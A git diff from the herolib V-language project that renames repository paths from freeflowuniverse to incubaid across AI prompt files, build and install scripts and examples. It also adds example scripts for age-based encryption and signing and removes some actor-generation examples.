- **Run Tests**: Utilize `vtest ~/code/github/incubaid/herolib/lib/osal/package_test.v` to run specific tests.
|
||||
|
||||
## High-Level Architecture
|
||||
- **Project Structure**: The project is organized into multiple modules located in `lib` and `src` directories. Prioritized compilation and caching strategies are utilized across modules.
|
||||
- **Script Handling**: Vlang scripts are crucial and should follow instructions from `aiprompts/vlang_herolib_core.md`.
|
||||
|
||||
## Special Instructions
|
||||
- **Documentation Reference**: Always refer to `aiprompts/vlang_herolib_core.md` for essential instructions regarding Vlang and Heroscript code generation and execution.
|
||||
- **Environment Specifics**: Ensure Redis and other dependencies are configured as per scripts provided in the codebase.
|
||||
@@ -19,6 +19,6 @@ travelcost is 3% of revenue
|
||||
|
||||
create me the full heroscript which gives me this biz model
|
||||
|
||||
create bizmodel.heroscript in ~/code/github/freeflowuniverse/herolib/examples/biztools/generated_ai
|
||||
create bizmodel.heroscript in ~/code/github/incubaid/herolib/examples/biztools/generated_ai
|
||||
|
||||
as well as a do.vsh file which executes the heroscript and does a pprint, in do.vsh , call play with heroscript_path arg
|
||||
|
||||
@@ -27,7 +27,7 @@ when I generate vlang scripts I will always use .vsh extension and use following
|
||||
As AI agent I should also execute .v or .vsh scripts with vrun
|
||||
|
||||
```bash
|
||||
vrun ~/code/github/freeflowuniverse/herolib/examples/biztools/bizmodel.vsh
|
||||
vrun ~/code/github/incubaid/herolib/examples/biztools/bizmodel.vsh
|
||||
```
|
||||
|
||||
## executing test scripts
|
||||
@@ -35,7 +35,7 @@ vrun ~/code/github/freeflowuniverse/herolib/examples/biztools/bizmodel.vsh
|
||||
instruct user to test as follows (vtest is an alias which gets installed when herolib gets installed), can be done for a dir and for a file
|
||||
|
||||
```bash
|
||||
vtest ~/code/github/freeflowuniverse/herolib/lib/osal/package_test.v
|
||||
vtest ~/code/github/incubaid/herolib/lib/osal/package_test.v
|
||||
```
|
||||
|
||||
- use ~ so it works over all machines
|
||||
|
||||
@@ -9,7 +9,7 @@ import freeflowuniverse.herolib...
|
||||
|
||||
```
|
||||
|
||||
the files are in ~/code/github/freeflowuniverse/herolib/examples for herolib
|
||||
the files are in ~/code/github/incubaid/herolib/examples for herolib
|
||||
|
||||
## important instructions
|
||||
|
||||
|
||||
@@ -23,7 +23,7 @@ when I generate vlang scripts I will always use .vsh extension and use following
|
||||
As AI agent I should also execute v or .vsh scripts with vrun
|
||||
|
||||
```bash
|
||||
vrun ~/code/github/freeflowuniverse/herolib/examples/biztools/bizmodel.vsh
|
||||
vrun ~/code/github/incubaid/herolib/examples/biztools/bizmodel.vsh
|
||||
```
|
||||
|
||||
## executing test scripts
|
||||
@@ -31,7 +31,7 @@ vrun ~/code/github/freeflowuniverse/herolib/examples/biztools/bizmodel.vsh
|
||||
instruct user to test as follows (vtest is an alias which gets installed when herolib gets installed), can be done for a dir and for a file
|
||||
|
||||
```bash
|
||||
vtest ~/code/github/freeflowuniverse/herolib/lib/osal/package_test.v
|
||||
vtest ~/code/github/incubaid/herolib/lib/osal/package_test.v
|
||||
```
|
||||
|
||||
- use ~ so it works over all machines
|
||||
|
||||
1440
aiprompts/instructions/herodb_base_fs.md
Normal file
1440
aiprompts/instructions/herodb_base_fs.md
Normal file
File diff suppressed because it is too large
Load Diff
@@ -1,6 +1,6 @@
|
||||
params:
|
||||
|
||||
- filepath: /Users/despiegk/code/github/freeflowuniverse/herolib/lib/clients/openai
|
||||
- filepath: /Users/despiegk/code/github/incubaid/herolib/lib/clients/openai
|
||||
|
||||
make a dense overview of the code above, easy to understand for AI
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
<file_map>
|
||||
/Users/despiegk/code/github/freeflowuniverse/herolib
|
||||
/Users/despiegk/code/github/incubaid/herolib
|
||||
└── aiprompts
|
||||
└── herolib_core
|
||||
├── core_curdir_example.md
|
||||
@@ -467,7 +467,7 @@
|
||||
</file_map>
|
||||
|
||||
<file_contents>
|
||||
File: /Users/despiegk/code/github/freeflowuniverse/herolib/aiprompts/herolib_core/core_curdir_example.md
|
||||
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_curdir_example.md
|
||||
```md
|
||||
# Getting the Current Script's Path in Herolib/V Shell
|
||||
|
||||
@@ -483,7 +483,7 @@ echo "Current scripts directory: ${script_directory}"
|
||||
|
||||
```
|
||||
|
||||
File: /Users/despiegk/code/github/freeflowuniverse/herolib/aiprompts/herolib_core/core_globals.md
|
||||
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_globals.md
|
||||
```md
|
||||
## how to remember clients, installers as a global
|
||||
|
||||
@@ -531,7 +531,7 @@ pub fn default() !&SiteConfig {
|
||||
```
|
||||
```
|
||||
|
||||
File: /Users/despiegk/code/github/freeflowuniverse/herolib/aiprompts/herolib_core/core_heroscript_basics.md
|
||||
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_heroscript_basics.md
|
||||
```md
|
||||
# HeroScript: Vlang Integration
|
||||
|
||||
@@ -590,7 +590,7 @@ For detailed information on parameter retrieval methods (e.g., `p.get()`, `p.get
|
||||
|
||||
```
|
||||
|
||||
File: /Users/despiegk/code/github/freeflowuniverse/herolib/aiprompts/herolib_core/core_heroscript_playbook.md
|
||||
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_heroscript_playbook.md
|
||||
```md
|
||||
# PlayBook
|
||||
|
||||
@@ -620,7 +620,7 @@ playcmds.run(mut plbook)!
|
||||
|
||||
```
|
||||
|
||||
File: /Users/despiegk/code/github/freeflowuniverse/herolib/aiprompts/herolib_core/core_http_client.md
|
||||
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_http_client.md
|
||||
```md
|
||||
# HTTPConnection Module
|
||||
|
||||
@@ -732,7 +732,7 @@ user := conn.get_json_generic[User](
|
||||
|
||||
```
|
||||
|
||||
File: /Users/despiegk/code/github/freeflowuniverse/herolib/aiprompts/herolib_core/core_osal.md
|
||||
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_osal.md
|
||||
```md
|
||||
# OSAL Core Module - Key Capabilities (freeflowuniverse.herolib.osal.core)
|
||||
|
||||
@@ -798,7 +798,7 @@ this document has info about the most core functions, more detailed info can be
|
||||
|
||||
```
|
||||
|
||||
File: /Users/despiegk/code/github/freeflowuniverse/herolib/aiprompts/herolib_core/core_ourtime.md
|
||||
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_ourtime.md
|
||||
```md
|
||||
# OurTime Module
|
||||
|
||||
@@ -895,7 +895,7 @@ t_invalid := ourtime.new('bad-date') or {
|
||||
|
||||
```
|
||||
|
||||
File: /Users/despiegk/code/github/freeflowuniverse/herolib/aiprompts/herolib_core/core_params.md
|
||||
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_params.md
|
||||
```md
|
||||
# Parameter Parsing in Vlang
|
||||
|
||||
@@ -1009,7 +1009,7 @@ Lists are typically comma-separated strings (e.g., `users: "john,jane,bob"`).
|
||||
|
||||
```
|
||||
|
||||
File: /Users/despiegk/code/github/freeflowuniverse/herolib/aiprompts/herolib_core/core_paths.md
|
||||
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_paths.md
|
||||
```md
|
||||
# Pathlib Usage Guide
|
||||
|
||||
@@ -1164,7 +1164,7 @@ if file_path.exists() {
|
||||
|
||||
```
|
||||
|
||||
File: /Users/despiegk/code/github/freeflowuniverse/herolib/aiprompts/herolib_core/core_text.md
|
||||
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_text.md
|
||||
```md
|
||||
# TextTools Module
|
||||
|
||||
@@ -1268,7 +1268,7 @@ assert hello_world == texttools.name_fix("Hello World!")
|
||||
|
||||
```
|
||||
|
||||
File: /Users/despiegk/code/github/freeflowuniverse/herolib/aiprompts/herolib_core/core_ui_console.md
|
||||
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_ui_console.md
|
||||
```md
|
||||
# module ui.console
|
||||
|
||||
@@ -1473,7 +1473,7 @@ enum Style {
|
||||
|
||||
```
|
||||
|
||||
File: /Users/despiegk/code/github/freeflowuniverse/herolib/aiprompts/herolib_core/core_vshell.md
|
||||
File: /Users/despiegk/code/github/incubaid/herolib/aiprompts/herolib_core/core_vshell.md
|
||||
```md
|
||||
# how to run the vshell example scripts
|
||||
|
||||
@@ -1486,7 +1486,7 @@ import freeflowuniverse.herolib...
|
||||
|
||||
```
|
||||
|
||||
the files are in ~/code/github/freeflowuniverse/herolib/examples for herolib
|
||||
the files are in ~/code/github/incubaid/herolib/examples for herolib
|
||||
|
||||
## important instructions
|
||||
|
||||
@@ -2456,7 +2456,7 @@ $NAME = finance
|
||||
walk over all models from biz: db/heromodels/src/models/$NAME in the rust repo
|
||||
create nice structured public models in Vlang (V) see instructions in herlolib
|
||||
|
||||
put the results in /Users/despiegk/code/github/freeflowuniverse/herolib/lib/hero/models/$NAME
|
||||
put the results in /Users/despiegk/code/github/incubaid/herolib/lib/hero/models/$NAME
|
||||
|
||||
put decorator on fields which need to be indexed: use @[index] for that at end of line of the property of the struct
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ $NAME = calendar
|
||||
walk over all models from biz: db/heromodels/src/models/$NAME in the rust repo
|
||||
create nice structured public models in Vlang (V) see instructions in herlolib
|
||||
|
||||
put the results in /Users/despiegk/code/github/freeflowuniverse/herolib/lib/hero/models/$NAME
|
||||
put the results in /Users/despiegk/code/github/incubaid/herolib/lib/hero/models/$NAME
|
||||
|
||||
put decorator on fields which need to be indexed: use @[index] for that at end of line of the property of the struct
|
||||
|
||||
|
||||
3583
aiprompts/todo/refactor_herofs.md
Normal file
3583
aiprompts/todo/refactor_herofs.md
Normal file
File diff suppressed because it is too large
Load Diff
1418
aiprompts/vlang_herolib_core.md
Normal file
1418
aiprompts/vlang_herolib_core.md
Normal file
File diff suppressed because it is too large
Load Diff
@@ -30,8 +30,23 @@ if additional_args.len > 0 {
|
||||
exit(1)
|
||||
}
|
||||
|
||||
// Change to the hero directory
|
||||
hero_dir := os.join_path(os.home_dir(), 'code/github/freeflowuniverse/herolib/cli')
|
||||
// Determine the hero directory dynamically
|
||||
// Get the directory where this script is located
|
||||
script_dir := os.dir(os.executable())
|
||||
// The script is in cli/, so the herolib root is one level up
|
||||
herolib_root := os.dir(script_dir)
|
||||
hero_dir := os.join_path(herolib_root, 'cli')
|
||||
|
||||
// Verify the directory exists and contains hero.v
|
||||
if !os.exists(hero_dir) {
|
||||
panic('Hero CLI directory not found: ${hero_dir}')
|
||||
}
|
||||
hero_v_path := os.join_path(hero_dir, 'hero.v')
|
||||
if !os.exists(hero_v_path) {
|
||||
panic('hero.v not found in: ${hero_dir}')
|
||||
}
|
||||
|
||||
println('Using hero directory: ${hero_dir}')
|
||||
os.chdir(hero_dir) or { panic('Failed to change directory to ${hero_dir}: ${err}') }
|
||||
|
||||
// Set HEROPATH based on OS
|
||||
|
||||
@@ -93,9 +93,9 @@ fn hero_upload() ! {
|
||||
}
|
||||
|
||||
fn main() {
|
||||
// os.execute_or_panic('${os.home_dir()}/code/github/freeflowuniverse/herolib/cli/compile.vsh -p')
|
||||
// os.execute_or_panic('${os.home_dir()}/code/github/incubaid/herolib/cli/compile.vsh -p')
|
||||
println('compile hero can take 60 sec+ on osx.')
|
||||
os.execute_or_panic('${os.home_dir()}/code/github/freeflowuniverse/herolib/cli/compile.vsh -p')
|
||||
os.execute_or_panic('${os.home_dir()}/code/github/incubaid/herolib/cli/compile.vsh -p')
|
||||
println('upload:')
|
||||
hero_upload() or {
|
||||
eprintln(err)
|
||||
|
||||
@@ -31,7 +31,7 @@ if additional_args.len > 0 {
|
||||
}
|
||||
|
||||
// Change to the vdo directory
|
||||
hero_dir := os.join_path(os.home_dir(), 'code/github/freeflowuniverse/herolib/cli')
|
||||
hero_dir := os.join_path(os.home_dir(), 'code/github/incubaid/herolib/cli')
|
||||
os.chdir(hero_dir) or { panic('Failed to change directory to ${hero_dir}: ${err}') }
|
||||
|
||||
// Set HEROPATH based on OS
|
||||
|
||||
@@ -48,7 +48,7 @@ fn do() ! {
|
||||
mut cmd := Command{
|
||||
name: 'hero'
|
||||
description: 'Your HERO toolset.'
|
||||
version: '1.0.31'
|
||||
version: '1.0.33'
|
||||
}
|
||||
|
||||
// herocmds.cmd_run_add_flags(mut cmd)
|
||||
|
||||
@@ -48,7 +48,7 @@ abs_dir_of_script := dir(@FILE)
|
||||
|
||||
// Reset symlinks if requested
|
||||
println('Resetting all symlinks...')
|
||||
os.rm('${os.home_dir()}/.vmodules/freeflowuniverse/herolib') or {}
|
||||
os.rm('${os.home_dir()}/.vmodules/incubaid/herolib') or {}
|
||||
|
||||
// Create necessary directories
|
||||
os.mkdir_all('${os.home_dir()}/.vmodules/freeflowuniverse') or {
|
||||
@@ -56,7 +56,7 @@ os.mkdir_all('${os.home_dir()}/.vmodules/freeflowuniverse') or {
|
||||
}
|
||||
|
||||
// Create new symlinks
|
||||
os.symlink('${abs_dir_of_script}/lib', '${os.home_dir()}/.vmodules/freeflowuniverse/herolib') or {
|
||||
os.symlink('${abs_dir_of_script}/lib', '${os.home_dir()}/.vmodules/incubaid/herolib') or {
|
||||
panic('Failed to create herolib symlink: ${err}')
|
||||
}
|
||||
|
||||
|
||||
@@ -207,7 +207,7 @@ function os_update {
|
||||
|
||||
|
||||
function hero_lib_pull {
|
||||
pushd $DIR_CODE/github/freeflowuniverse/herolib 2>&1 >> /dev/null
|
||||
pushd $DIR_CODE/github/incubaid/herolib 2>&1 >> /dev/null
|
||||
if [[ $(git status -s) ]]; then
|
||||
echo "There are uncommitted changes in the Git repository herolib."
|
||||
return 1
|
||||
@@ -218,12 +218,12 @@ function hero_lib_pull {
|
||||
|
||||
function hero_lib_get {
|
||||
|
||||
mkdir -p $DIR_CODE/github/freeflowuniverse
|
||||
if [[ -d "$DIR_CODE/github/freeflowuniverse/herolib" ]]
|
||||
mkdir -p $DIR_CODE/github/incubaid
|
||||
if [[ -d "$DIR_CODE/github/incubaid/herolib" ]]
|
||||
then
|
||||
hero_lib_pull
|
||||
else
|
||||
pushd $DIR_CODE/github/freeflowuniverse 2>&1 >> /dev/null
|
||||
pushd $DIR_CODE/github/incubaid 2>&1 >> /dev/null
|
||||
git clone --depth 1 --no-single-branch https://github.com/freeflowuniverse/herolib.git
|
||||
popd 2>&1 >> /dev/null
|
||||
fi
|
||||
@@ -461,7 +461,7 @@ check_and_start_redis
|
||||
|
||||
if [ "$HEROLIB" = true ]; then
|
||||
hero_lib_get
|
||||
~/code/github/freeflowuniverse/herolib/install_herolib.vsh
|
||||
~/code/github/incubaid/herolib/install_herolib.vsh
|
||||
fi
|
||||
|
||||
|
||||
|
||||
@@ -2,6 +2,6 @@
|
||||
|
||||
import freeflowuniverse.herolib.mcp.aitools
|
||||
|
||||
// aitools.convert_pug("/root/code/github/freeflowuniverse/herolauncher/pkg/herolauncher/web/templates/admin")!
|
||||
// aitools.convert_pug("/root/code/github/incubaid/herolauncher/pkg/herolauncher/web/templates/admin")!
|
||||
|
||||
aitools.convert_pug('/root/code/github/freeflowuniverse/herolauncher/pkg/zaz/webui/templates')!
|
||||
aitools.convert_pug('/root/code/github/incubaid/herolauncher/pkg/zaz/webui/templates')!
|
||||
|
||||
@@ -14,5 +14,5 @@ println(model.sheet)
|
||||
// println(model.sheet.export()!)
|
||||
|
||||
model.sheet.pprint()!
|
||||
// model.sheet.export(path: '~/code/github/freeflowuniverse/starlight_template/src/content/test.csv')!
|
||||
// model.sheet.export(path: '~/code/github/incubaid/starlight_template/src/content/test.csv')!
|
||||
// model.sheet
|
||||
|
||||
@@ -5,6 +5,6 @@ this will make sure we load the appropriate biz model
|
||||
|
||||
|
||||
```js
|
||||
!!bizmodel.load name:'default' url:'https://github.com/freeflowuniverse/herolib/tree/development/bizmodel/example/data'
|
||||
!!bizmodel.load name:'default' url:'https://github.com/incubaid/herolib/tree/development/bizmodel/example/data'
|
||||
```
|
||||
|
||||
|
||||
@@ -4,18 +4,18 @@ import freeflowuniverse.herolib.core.generator.generic as generator
|
||||
import freeflowuniverse.herolib.core.pathlib
|
||||
|
||||
// mut args := generator.GeneratorArgs{
|
||||
// path: '~/code/github/freeflowuniverse/herolib/lib/clients'
|
||||
// path: '~/code/github/incubaid/herolib/lib/clients'
|
||||
// force: true
|
||||
// }
|
||||
|
||||
mut args2 := generator.GeneratorArgs{
|
||||
path: '~/code/github/freeflowuniverse/herolib/lib/develop/heroprompt'
|
||||
path: '~/code/github/incubaid/herolib/lib/develop/heroprompt'
|
||||
force: true
|
||||
}
|
||||
generator.scan(args2)!
|
||||
|
||||
// mut args := generator.GeneratorArgs{
|
||||
// path: '~/code/github/freeflowuniverse/herolib/lib/installers'
|
||||
// path: '~/code/github/incubaid/herolib/lib/installers'
|
||||
// force: true
|
||||
// }
|
||||
|
||||
|
||||
1
examples/crypt/.gitignore
vendored
Normal file
1
examples/crypt/.gitignore
vendored
Normal file
@@ -0,0 +1 @@
|
||||
crypt_example
|
||||
103
examples/crypt/crypt_example.vsh
Executable file
103
examples/crypt/crypt_example.vsh
Executable file
@@ -0,0 +1,103 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.crypt.herocrypt
|
||||
import time
|
||||
|
||||
// Initialize the HeroCrypt client
|
||||
// Assumes herodb is running on localhost:6381
|
||||
mut client := herocrypt.new_default()!
|
||||
|
||||
println('HeroCrypt client initialized')
|
||||
|
||||
// -- Stateless (Ephemeral) Workflow --
|
||||
println('\n--- Stateless (Ephemeral) Workflow ---')
|
||||
|
||||
// 1. Generate ephemeral encryption keypair
|
||||
println('Generating ephemeral encryption keypair...')
|
||||
enc_keypair := client.gen_enc_keypair()!
|
||||
recipient_pub := enc_keypair[0]
|
||||
identity_sec := enc_keypair[1]
|
||||
println(' Recipient Public Key: ${recipient_pub[..30]}...')
|
||||
println(' Identity Secret Key: ${identity_sec[..30]}...')
|
||||
|
||||
// 2. Encrypt a message
|
||||
message := 'Hello, Stateless World!'
|
||||
println('\nEncrypting message: "${message}"')
|
||||
ciphertext := client.encrypt(recipient_pub, message)!
|
||||
println(' Ciphertext: ${ciphertext[..30]}...')
|
||||
|
||||
// 3. Decrypt the message
|
||||
println('\nDecrypting ciphertext...')
|
||||
decrypted_message := client.decrypt(identity_sec, ciphertext)!
|
||||
println(' Decrypted Message: ${decrypted_message}')
|
||||
assert decrypted_message == message
|
||||
|
||||
// 4. Generate ephemeral signing keypair
|
||||
println('\nGenerating ephemeral signing keypair...')
|
||||
sign_keypair := client.gen_sign_keypair()!
|
||||
verify_pub_b64 := sign_keypair[0]
|
||||
sign_sec_b64 := sign_keypair[1]
|
||||
println(' Verify Public Key (b64): ${verify_pub_b64[..30]}...')
|
||||
println(' Sign Secret Key (b64): ${sign_sec_b64[..30]}...')
|
||||
|
||||
// 5. Sign a message
|
||||
sign_message := 'This message is signed.'
|
||||
println('\nSigning message: "${sign_message}"')
|
||||
signature := client.sign(sign_sec_b64, sign_message)!
|
||||
println(' Signature: ${signature[..30]}...')
|
||||
|
||||
// 6. Verify the signature
|
||||
println('\nVerifying signature...')
|
||||
is_valid := client.verify(verify_pub_b64, sign_message, signature)!
|
||||
println(' Signature is valid: ${is_valid}')
|
||||
assert is_valid
|
||||
|
||||
// -- Key-Managed (Persistent, Named) Workflow --
|
||||
println('\n--- Key-Managed (Persistent, Named) Workflow ---')
|
||||
|
||||
// 1. Generate and persist a named encryption keypair
|
||||
enc_key_name := 'my_app_enc_key'
|
||||
println('\nGenerating and persisting named encryption keypair: "${enc_key_name}"')
|
||||
client.keygen(enc_key_name)!
|
||||
|
||||
// 2. Encrypt a message by name
|
||||
persistent_message := 'Hello, Persistent World!'
|
||||
println('Encrypting message by name: "${persistent_message}"')
|
||||
persistent_ciphertext := client.encrypt_by_name(enc_key_name, persistent_message)!
|
||||
println(' Ciphertext: ${persistent_ciphertext[..30]}...')
|
||||
|
||||
// 3. Decrypt the message by name
|
||||
println('Decrypting ciphertext by name...')
|
||||
decrypted_persistent_message := client.decrypt_by_name(enc_key_name, persistent_ciphertext)!
|
||||
println(' Decrypted Message: ${decrypted_persistent_message}')
|
||||
assert decrypted_persistent_message == persistent_message
|
||||
|
||||
// 4. Generate and persist a named signing keypair
|
||||
sign_key_name := 'my_app_sign_key'
|
||||
println('\nGenerating and persisting named signing keypair: "${sign_key_name}"')
|
||||
client.sign_keygen(sign_key_name)!
|
||||
|
||||
// 5. Sign a message by name
|
||||
persistent_sign_message := 'This persistent message is signed.'
|
||||
println('Signing message by name: "${persistent_sign_message}"')
|
||||
persistent_signature := client.sign_by_name(sign_key_name, persistent_sign_message)!
|
||||
println(' Signature: ${persistent_signature[..30]}...')
|
||||
|
||||
// 6. Verify the signature by name
|
||||
println('Verifying signature by name...')
|
||||
is_persistent_valid := client.verify_by_name(sign_key_name, persistent_sign_message, persistent_signature)!
|
||||
println(' Signature is valid: ${is_persistent_valid}')
|
||||
assert is_persistent_valid
|
||||
|
||||
// // 7. List all stored keys
|
||||
// println('\n--- Listing Stored Keys ---')
|
||||
// keys := client.list_keys()!
|
||||
// println('Stored keys: ${keys}')
|
||||
|
||||
// // -- Clean up created keys --
|
||||
// println('\n--- Cleaning up ---')
|
||||
// client.redis_client.del('age:enc:${enc_key_name}')!
|
||||
// client.redis_client.del('age:sign:${sign_key_name}')!
|
||||
// println('Cleaned up persistent keys.')
|
||||
|
||||
println('\nHeroCrypt example finished successfully!')
|
||||
@@ -20,7 +20,7 @@ heroscript := "
|
||||
recursive:false
|
||||
|
||||
!!git.clone
|
||||
url:'https://github.com/freeflowuniverse/herolib.git'
|
||||
url:'https://github.com/incubaid/herolib.git'
|
||||
light:true
|
||||
recursive:false
|
||||
|
||||
|
||||
@@ -4,13 +4,13 @@ import freeflowuniverse.herolib.develop.heroprompt
|
||||
import os
|
||||
|
||||
// mut workspace := heroprompt.new(
|
||||
// path: '${os.home_dir()}/code/github/freeflowuniverse/herolib'
|
||||
// path: '${os.home_dir()}/code/github/incubaid/herolib'
|
||||
// name: 'workspace'
|
||||
// )!
|
||||
|
||||
mut workspace := heroprompt.get(
|
||||
name: 'example_ws'
|
||||
path: '${os.home_dir()}/code/github/freeflowuniverse/herolib'
|
||||
path: '${os.home_dir()}/code/github/incubaid/herolib'
|
||||
create: true
|
||||
)!
|
||||
|
||||
@@ -18,9 +18,9 @@ println('workspace (initial): ${workspace}')
|
||||
println('selected (initial): ${workspace.selected_children()}')
|
||||
|
||||
// Add a directory and a file
|
||||
workspace.add_dir(path: '${os.home_dir()}/code/github/freeflowuniverse/herolib/docker')!
|
||||
workspace.add_dir(path: '${os.home_dir()}/code/github/incubaid/herolib/docker')!
|
||||
workspace.add_file(
|
||||
path: '${os.home_dir()}/code/github/freeflowuniverse/herolib/docker/docker_ubuntu_install.sh'
|
||||
path: '${os.home_dir()}/code/github/incubaid/herolib/docker/docker_ubuntu_install.sh'
|
||||
)!
|
||||
println('selected (after add): ${workspace.selected_children()}')
|
||||
|
||||
|
||||
@@ -1 +1 @@
|
||||
hero run -u https://github.com/freeflowuniverse/herolib/tree/development_juggler/examples/develop/juggler/hero/playbook
|
||||
hero run -u https://github.com/incubaid/herolib/tree/development_juggler/examples/develop/juggler/hero/playbook
|
||||
112
examples/hero/crypt/hero_crypt_example.vsh
Executable file
112
examples/hero/crypt/hero_crypt_example.vsh
Executable file
@@ -0,0 +1,112 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals run
|
||||
|
||||
import freeflowuniverse.herolib.hero.crypt
|
||||
import freeflowuniverse.herolib.core.redisclient
|
||||
|
||||
// Connect to default Redis instance (127.0.0.1:6379)
|
||||
mut age_client := crypt.new_age_client()!
|
||||
|
||||
// Test stateless encryption
|
||||
println('Testing stateless encryption...')
|
||||
keypair := age_client.generate_keypair() or {
|
||||
println('Error generating keypair: ${err}')
|
||||
return
|
||||
}
|
||||
|
||||
message := 'Hello, AGE encryption!'
|
||||
encrypted := age_client.encrypt(keypair.recipient, message) or {
|
||||
println('Error encrypting message: ${err}')
|
||||
return
|
||||
}
|
||||
|
||||
decrypted := age_client.decrypt(keypair.identity, encrypted.ciphertext) or {
|
||||
println('Error decrypting message: ${err}')
|
||||
return
|
||||
}
|
||||
|
||||
println('Original message: ${message}')
|
||||
println('Encrypted message: ${encrypted.ciphertext}')
|
||||
println('Decrypted message: ${decrypted}')
|
||||
|
||||
assert decrypted == message
|
||||
println('Stateless encryption test passed!')
|
||||
|
||||
// Test stateless signing
|
||||
println('\nTesting stateless signing...')
|
||||
signing_keypair := age_client.generate_signing_keypair() or {
|
||||
println('Error generating signing keypair: ${err}')
|
||||
return
|
||||
}
|
||||
|
||||
signed := age_client.sign(signing_keypair.sign_key, message) or {
|
||||
println('Error signing message: ${err}')
|
||||
return
|
||||
}
|
||||
|
||||
verified := age_client.verify(signing_keypair.verify_key, message, signed.signature) or {
|
||||
println('Error verifying signature: ${err}')
|
||||
return
|
||||
}
|
||||
println('Message: ${message}')
|
||||
println('Signature: ${signed.signature}')
|
||||
println('Signature valid: ${verified}')
|
||||
|
||||
assert verified == true
|
||||
println('Stateless signing test passed!')
|
||||
|
||||
// Test key-managed encryption
|
||||
println('\nTesting key-managed encryption...')
|
||||
key_name := 'example_encryption_key'
|
||||
named_keypair := age_client.create_named_keypair(key_name) or {
|
||||
println('Error creating named keypair: ${err}')
|
||||
return
|
||||
}
|
||||
|
||||
named_encrypted := age_client.encrypt_with_named_key(key_name, message) or {
|
||||
println('Error encrypting with named key: ${err}')
|
||||
return
|
||||
}
|
||||
|
||||
named_decrypted := age_client.decrypt_with_named_key(key_name, named_encrypted.ciphertext) or {
|
||||
println('Error decrypting with named key: ${err}')
|
||||
return
|
||||
}
|
||||
println('Key name: ${key_name}')
|
||||
println('Encrypted with named key: ${named_encrypted.ciphertext}')
|
||||
println('Decrypted with named key: ${named_decrypted}')
|
||||
|
||||
assert named_decrypted == message
|
||||
println('Key-managed encryption test passed!')
|
||||
|
||||
// Test key-managed signing
|
||||
println('\nTesting key-managed signing...')
|
||||
signing_key_name := 'example_signing_key'
|
||||
age_client.create_named_signing_keypair(signing_key_name) or {
|
||||
println('Error creating named signing keypair: ${err}')
|
||||
return
|
||||
}
|
||||
|
||||
named_signed := age_client.sign_with_named_key(signing_key_name, message) or {
|
||||
println('Error signing with named key: ${err}')
|
||||
return
|
||||
}
|
||||
|
||||
named_verified := age_client.verify_with_named_key(signing_key_name, message, named_signed.signature) or {
|
||||
println('Error verifying with named key: ${err}')
|
||||
return
|
||||
}
|
||||
println('Signing key name: ${signing_key_name}')
|
||||
println('Signature: ${named_signed.signature}')
|
||||
println('Signature valid: ${named_verified}')
|
||||
|
||||
assert named_verified == true
|
||||
println('Key-managed signing test passed!')
|
||||
|
||||
// Test list keys
|
||||
println('\nTesting list keys...')
|
||||
keys := age_client.list_keys() or {
|
||||
println('Error listing keys: ${err}')
|
||||
return
|
||||
}
|
||||
println('Stored keys: ${keys}')
|
||||
println('All tests completed successfully!')
|
||||
@@ -1,2 +0,0 @@
|
||||
.example_1_actor
|
||||
.example_2_actor
|
||||
@@ -1,19 +0,0 @@
|
||||
## Blank Actor Generation Example
|
||||
|
||||
This example shows how to generate a blank actor (unspecified, except for name). The generated actor module contains all the boilerplate code of an actor that can be compiled but lacks ant state or methods.
|
||||
|
||||
Simply run:
|
||||
```
|
||||
chmod +x *.vsh
|
||||
example_1.vsh
|
||||
example_2.vsh
|
||||
```
|
||||
|
||||
### Examples
|
||||
|
||||
There are two examples of blank actor generation.
|
||||
- `example_1.vsh` generates the actor from a blank specification structure.
|
||||
- `example_2.vsh` generates the actor from a blank OpenAPI Specification.
|
||||
|
||||
<!-- TODO: write below -->
|
||||
Read []() to learn how actor's are generated from specifications, and how the two example's differ.
|
||||
@@ -1,7 +0,0 @@
|
||||
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
|
||||
|
||||
import freeflowuniverse.herolib.hero.generation
|
||||
|
||||
generation.generate_actor(
|
||||
name: 'Example'
|
||||
)
|
||||
@@ -1,8 +0,0 @@
|
||||
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
|
||||
|
||||
import freeflowuniverse.herolib.hero.generation
|
||||
|
||||
generation.generate_actor(
|
||||
name: 'Example'
|
||||
interfaces: []
|
||||
)
|
||||
@@ -1,23 +0,0 @@
|
||||
# Hero Generation Example
|
||||
|
||||
## Getting started
|
||||
|
||||
### Step 1: Generate specification
|
||||
|
||||
### Step 2: Generate actor from specification
|
||||
|
||||
The script below generates the actor's OpenAPI handler from a given OpenAPI Specification. The generated code is written to `handler.v` in the example actor's module.
|
||||
|
||||
`generate_actor.vsh`
|
||||
|
||||
### Step 3: Run actor
|
||||
|
||||
The script below runs the actor's Redis RPC Queue Interface and uses the generated handler function to handle incoming RPCs. The Redis Interface listens to the RPC Queue assigned to the actor.
|
||||
|
||||
`run_interface_procedure.vsh`
|
||||
|
||||
### Step 3: Run server
|
||||
|
||||
The script below runs the actor's RPC Queue Listener and uses the generated handler function to handle incoming RPCs.
|
||||
|
||||
`run_interface_openapi.vsh`
|
||||
@@ -1 +0,0 @@
|
||||
# Example Actor
|
||||
@@ -1,34 +0,0 @@
|
||||
module example_actor
|
||||
|
||||
import os
|
||||
import freeflowuniverse.herolib.hero.baobab.stage { IActor, RunParams }
|
||||
import freeflowuniverse.herolib.web.openapi
|
||||
import time
|
||||
|
||||
